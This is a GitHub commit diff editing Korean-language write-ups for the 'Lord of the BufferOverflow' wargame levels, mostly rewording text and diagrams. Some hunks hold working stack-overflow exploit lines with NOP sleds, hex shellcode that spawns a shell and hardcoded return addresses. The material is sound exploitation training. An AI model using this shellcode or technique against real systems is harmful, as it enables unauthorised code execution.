Skip to content

Commit

Permalink
1101-1
Browse files Browse the repository at this point in the history
  • Loading branch information
joizel committed Nov 1, 2017
1 parent b084b62 commit c4bce77
Show file tree
Hide file tree
Showing 12 changed files with 98 additions and 126 deletions.
16 changes: 13 additions & 3 deletions docs/wargame/pwnable/index.rst
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,16 @@ PWNABLE

.. toctree::
:maxdepth: 1
:glob:

*

lob1
lob2
lob3
lob4
lob5
lob6
lob7
lob8
lob9
lob10
lob11
lob12
2 changes: 1 addition & 1 deletion docs/wargame/pwnable/lob1.rst
Original file line number Diff line number Diff line change
Expand Up @@ -151,7 +151,7 @@ RET를 환경 변수 주소로 덮어씌워 공격 진행
|
오버플로우시 RET 주소를 환경 변수 주소로 덮어씌워 해당 쉘코드가 실행되도록 한다.
오버플로우시 RET를 환경 변수 주소로 덮어씌워 해당 쉘코드가 실행되도록 한다.

.. code-block:: console
Expand Down
37 changes: 14 additions & 23 deletions docs/wargame/pwnable/lob10.rst
Original file line number Diff line number Diff line change
Expand Up @@ -2,17 +2,15 @@
[redhat-lob] (10) skeleton
============================================================================================================


.. graphviz::

digraph foo {
a -> b -> c -> d -> e;
a -> b -> c -> d;

a [shape=box, label="argv[1] value"];
a [shape=box, label="dummy * 44 + program name address"];
b [shape=box, color=lightblue, label="strcpy"];
c [shape=box, label="Buffer Overflow"];
d [shape=box, label="RET"];
e [shape=box, label="program name address"];
d [shape=box, label="program name address"];
}

|
Expand Down Expand Up @@ -82,10 +80,12 @@ Vulnerabliity Vector
----------------
Buffer (40byte)
SFP (4byte)
RET (4byte) <- strcpy overflow
argc (4byte) <- 0x00000002
argv[0] (4byte) <- argv[0] address
argv[1] (4byte) <- argv[1] address
RET (4byte)
argc (4byte)
argv (4byte)
......
program name <
NULL
----------------
HIGH
================
Expand Down Expand Up @@ -172,33 +172,24 @@ exploit
program명 주소를 찾아서 RET로 덮어씌우면 됩니다.


RET 주소를 프로그램 이름이 존재하는 주소로 변경하여 공격 진행
RET를 프로그램 이름이 존재하는 주소로 덮어씌워 공격 진행
------------------------------------------------------------------------------------------------------------

.. code-block:: console
================
LOW
----------------
Buffer (40byte) <- "\x90"*40
SFP (4byte) <- "\x90"*4
RET (4byte) <- 프로그램 이름 주소
argc (4byte) <- 0x00000002
argv[0] (4byte) <- argv[0] 주소
argv[1] (4byte) <- argv[1] 주소
......
program name <- 프로그램 이름
NULL
Buffer (40byte) <- dummy*40
SFP (4byte) <- dummy*4
RET (4byte) <- program name 주소
program name
----------------
HIGH
================
|
filename : nop(100 byte) + shellcode(39 byte)

argv[1] : nop(44 byte) + argv[0] address

.. code-block:: console
$ ./`python -c 'print "\x90"*100+"\x31\xc0\x50\xba\x11\x11\x11\x11\x81\xc2\x1e\x1e\x62\x57\x52\xba\x11\x11\x11\x11\x81\xc2\x1e\x51\x58\x5d\x52\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` `python -c 'print "a"*44+"\xbc\xff\xff\xbf"'`
Expand Down
34 changes: 17 additions & 17 deletions docs/wargame/pwnable/lob11.rst
Original file line number Diff line number Diff line change
Expand Up @@ -2,16 +2,22 @@
[redhat-lob] (11) golem
============================================================================================================


공유 라이브러리 주소 : nop(40 byte) + shellcode (39 byte)

argv[1] : nop(44 byte) + 공유 라이브러리 주소


.. graphviz::

digraph foo {
a -> b -> c -> d -> e;

a [shape=box, label="argv[1] value"];
a [shape=box, label="dummy * 44 + shared libc address"];
b [shape=box, color=lightblue, label="strcpy"];
c [shape=box, label="Buffer Overflow"];
d [shape=box, label="RET"];
e [shape=box, label="program name address"];
d [shape=box, label="shared libc address"];
e [shape=box, label="dummy * 40 + shellcode"];
}

|
Expand Down Expand Up @@ -65,10 +71,10 @@ Vulnerabliity Vector
----------------
Buffer (40byte)
SFP (4byte)
RET (4byte) <- strcpy overflow
argc (4byte) <- 0x00000002
argv[0] (4byte) <- argv[0] address
argv[1] (4byte) <- argv[1] address
RET (4byte)
argc (4byte)
argv[0] (4byte)
argv[1] (4byte)
----------------
HIGH
================
Expand Down Expand Up @@ -170,23 +176,17 @@ RET 주소를 공유 라이브러리 로드 주소로 변경하여 공격 진행
================
LOW
----------------
Buffer (40byte) <- "\x90"*40
SFP (4byte) <- "\x90"*4
RET (4byte) <- shared libc address
argc (4byte) <- 0x00000002
argv[0] (4byte) <- argv[0] 주소
argv[1] (4byte) <- argv[1] 주소
shared libc
Buffer (40byte) <- dummy*40
SFP (4byte) <- dummy*4
RET (4byte) <- shared libc 주소
----------------
HIGH
================
|

공유 라이브러리 주소 : nop(40 byte) + shellcode (39 byte)

argv[1] : nop(44 byte) + 공유 라이브러리 주소

.. code-block:: console
$ ./golem `python -c 'print "\x90"*44+"\x82\xf6\xff\xbf"'`
Expand Down
2 changes: 1 addition & 1 deletion docs/wargame/pwnable/lob2.rst
Original file line number Diff line number Diff line change
Expand Up @@ -139,7 +139,7 @@ RET를 환경 변수 주소로 덮어씌워 공격 진행
|
오버플로우시 RET 주소를 환경 변수 주소로 덮어씌워 해당 쉘코드가 실행되도록 한다.
오버플로우시 RET를 환경 변수 주소로 덮어씌워 해당 쉘코드가 실행되도록 한다.

.. code-block:: console
Expand Down
2 changes: 1 addition & 1 deletion docs/wargame/pwnable/lob3.rst
Original file line number Diff line number Diff line change
Expand Up @@ -136,7 +136,7 @@ RET를 환경 변수 주소로 덮어씌워 공격 진행
|
오버플로우시 RET 주소를 환경 변수 주소로 변경하여 해당 쉘코드가 실행되도록 한다.
오버플로우시 RET를 환경 변수 주소로 덮어씌워 해당 쉘코드가 실행되도록 한다.

gets의 경우 프로그램 실행 이후 값이 입력되어야 하기 때문에 다음 형식으로 변수를 입력합니다.

Expand Down
11 changes: 5 additions & 6 deletions docs/wargame/pwnable/lob4.rst
Original file line number Diff line number Diff line change
Expand Up @@ -6,13 +6,12 @@
.. graphviz::

digraph foo {
a -> b -> c -> d -> e;
a -> b -> c -> d -> a;

a [shape=box, label="dummy * 19 + shellcode + argv[1] address"];
a [shape=box, label="dummy * 19 + shellcode + (argv[1] address+4*i)"];
b [shape=box, color=lightblue, label="strcpy"];
c [shape=box, label="Buffer Overflow"];
d [shape=box, label="argv[1] address"];
e [shape=box, label="dummy * 19 + shellcode"];
d [shape=box, label="(argv[1] address+4*i)"];
}


Expand Down Expand Up @@ -165,7 +164,7 @@ argv[1]이 저장되는 주소 확인
RET를 argv[1] 주소로 변경하여 공격 진행
RET를 argv[1] 주소로 덮어씌워 공격 진행
------------------------------------------------------------------------------------------------------------

.. code-block:: console
Expand All @@ -183,7 +182,7 @@ RET를 argv[1] 주소로 변경하여 공격 진행
|
오버플로우시 RET 주소를 argv[1] 주소로 변경하여 해당 쉘코드가 실행되도록 한다. buffer의 최초 주소값을 확인하여 4바이트씩 증가하면서 주소를 변경하면서 공격을 진행하면 성공시킬 수 있다.
오버플로우시 RET를 argv[1] 주소로 덮어씌워 해당 쉘코드가 실행되도록 한다. buffer의 최초 주소값을 확인하여 4바이트씩 증가하면서 주소를 변경하면서 공격을 진행하면 성공시킬 수 있다.

.. code-block:: console
Expand Down
19 changes: 5 additions & 14 deletions docs/wargame/pwnable/lob5.rst
Original file line number Diff line number Diff line change
Expand Up @@ -7,13 +7,12 @@
.. graphviz::

digraph foo {
a -> b -> c -> d -> e;
a -> b -> c -> d -> a;

a [shape=box, label="dummy * 19 + shellcode + argv[1] address"];
a [shape=box, label="dummy * 19 + shellcode + (argv[1] address+4*i)"];
b [shape=box, color=lightblue, label="strcpy"];
c [shape=box, label="Buffer Overflow"];
d [shape=box, label="argv[1] address"];
e [shape=box, label="dummy * 19 + shellcode"];
d [shape=box, label="(argv[1] address+4*i)"];
}


Expand Down Expand Up @@ -164,7 +163,7 @@ argv[1]이 저장되는 주소 확인
|
RET 주소를 argv[1] 주소로 변경하여 공격 진행
RET를 argv[1] 주소로 덮어씌워 공격 진행
------------------------------------------------------------------------------------------------------------

.. code-block:: console
Expand All @@ -182,9 +181,8 @@ RET 주소를 argv[1] 주소로 변경하여 공격 진행
|
오버플로우시 RET 주소를 argv[1] 주소로 변경하여 해당 쉘코드가 실행되도록 한다. buffer의 최초 주소값을 확인하여 4바이트씩 증가하면서 주소를 변경하면서 공격을 진행하면 성공시킬 수 있다.
오버플로우시 RET를 argv[1] 주소로 덮어씌워 해당 쉘코드가 실행되도록 한다. argv[1] 최초 주소값을 확인하여 4바이트씩 증가하면서 주소를 변경하면서 공격을 진행하면 성공시킬 수 있다.

nop (19 byte) + shellcode (25 byte) + argv[1] address

.. code-block:: console
Expand All @@ -203,10 +201,3 @@ nop (19 byte) + shellcode (25 byte) + argv[1] address
euid = 505
love eyuna
21 changes: 9 additions & 12 deletions docs/wargame/pwnable/lob6.rst
Original file line number Diff line number Diff line change
Expand Up @@ -6,13 +6,12 @@
.. graphviz::

digraph foo {
a -> b -> c -> d -> e;
a -> b -> c -> d -> a;

a [shape=box, label="argv[1] value"];
a [shape=box, label="dummy * 19 + shellcode + (argv[1] address+4*i)"];
b [shape=box, color=lightblue, label="strcpy"];
c [shape=box, label="Buffer Overflow"];
d [shape=box, label="RET"];
e [shape=box, label="argv[1] address"];
d [shape=box, label="(argv[1] address+4*i)"];
}


Expand Down Expand Up @@ -76,10 +75,9 @@ Vulnerabliity Vector
----------------
Buffer (40byte)
SFP (4byte)
RET (4byte) <- strcpy overflow
argc (4byte) <- 0x00000002
argv[0] (4byte) <- argv[0] 주소
argv[1] (4byte) <- argv[1] 주소
RET (4byte)
argc (4byte)
argv (4byte) <
----------------
HIGH
================
Expand Down Expand Up @@ -176,7 +174,7 @@ argv[1]이 저장되는 주소 확인
|
RET 주소를 argv[1] 주소로 변경하여 공격 진행
RET를 argv[1] 주소로 덮어씌워 공격 진행
------------------------------------------------------------------------------------------------------------

.. code-block:: console
Expand All @@ -186,17 +184,16 @@ RET 주소를 argv[1] 주소로 변경하여 공격 진행
----------------
Buffer (40byte) <- dummy*19 + shellcode(21)
SFP (4byte) <- shellcode(4)
RET (4byte) <- argv[1] address
RET (4byte) <- argv[1] 주소
argv[1] (4byte)
----------------
HIGH
================
|
오버플로우시 RET 주소를 argv[1] 주소로 변경하여 해당 쉘코드가 실행되도록 한다. buffer의 최초 주소값을 확인하여 4바이트씩 증가하면서 주소를 변경하면서 공격을 진행하면 성공시킬 수 있다.
오버플로우시 RET를 argv[1] 주소로 덮어씌워 해당 쉘코드가 실행되도록 한다. argv[1]의 최초 주소값을 확인하여 4바이트씩 증가하면서 주소를 변경하면서 공격을 진행하면 성공시킬 수 있다.

nop (19 byte) + shellcode (25 byte) + argv[1] address

.. code-block:: console
Expand Down

0 comments on commit c4bce77

Please sign in to comment.